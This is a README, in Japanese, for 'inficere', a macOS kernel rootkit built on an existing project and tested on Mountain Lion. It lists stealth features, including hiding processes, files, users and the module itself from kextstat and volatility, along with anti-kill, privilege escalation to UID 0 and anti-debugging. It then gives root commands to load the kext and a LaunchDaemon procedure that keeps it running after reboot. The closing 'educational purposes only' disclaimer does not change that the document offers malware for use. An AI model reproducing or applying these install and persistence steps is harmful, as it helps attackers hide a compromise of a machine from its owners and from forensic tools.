inficere

fractalG の onyx-the-black-cat (https://github.com/gdbinit/onyx-the-black-cat) をベースにした、私の Mac OS X ルートキットのパブリック版です。

Mountain Lion 10.8.2 から 10.8.5 でのみテスト済みです。他のバージョンで動作する保証はありません。

Features

• プロセス隠蔽 - 'ps PID'、'ps aux'、Activity Monitor、top などから隠します
• ファイル/ディレクトリの隠蔽
• ユーザー隠蔽 - 指定したユーザーを 'who'、'w' から隠します
• 自己隠蔽 - モジュール自体を kextstat と volatility から隠します
• アンチキル
• PID を UID 0 に変更
• アンチデバッグ技（主に @osxreverser による）- anti-anti-ptrace、task_for_pid(0) のパッチなど

Instructions

1. # chmod -R 755 inficere.kext
2. # chown -R root:wheel inficere.kext
3. # mv inficere.kext /System/Library/Extensions/
4. # kextutil /System/Library/Extensions/inficere.kext
5. # ./control

起動時の永続化:

1. # plutil -convert binary1 com.enzo.inficere.plist
2. # mv com.enzo.inficere.plist /Library/LaunchDaemons/com.enzo.inficere.plist
3. # chown root:wheel /Library/LaunchDaemons/com.enzo.inficere.plist
4. # launchctl load -w /Library/LaunchDaemons/com.enzo.inficere.plist

Inficere はロード後に上記のファイルを隠蔽します。

このツールは教育目的のみで作成したことを強調しておきたいと思います。